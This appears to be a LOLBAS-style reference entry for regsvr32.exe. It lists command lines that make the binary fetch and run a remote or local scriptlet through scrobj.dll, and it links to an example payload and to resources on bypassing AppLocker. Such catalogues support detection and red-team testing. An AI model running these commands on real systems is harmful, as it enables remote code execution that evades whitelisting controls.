35 lines
765 B
Markdown
35 lines
765 B
Markdown
## Regsvr32.exe
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* Functions: Execute
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```
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regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
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regsvr32.exe /s /u /i:file.sct scrobj.dll
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```
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Acknowledgements:
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* Casey Smith - @subtee
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Code sample:
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* [Regsvr32_calc.sct](https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payloads/Regsvr32_calc.sct)[1]
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Resources:
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* https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Regsvr32.md
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* https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
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* https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
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Full path:
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```
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C:\Windows\System32\regsvr32.exe
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C:\Windows\SysWOW64\regsvr32.exe
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```
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Notes:
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[1]Code sample linked to Red Canary - Atomic Red Team
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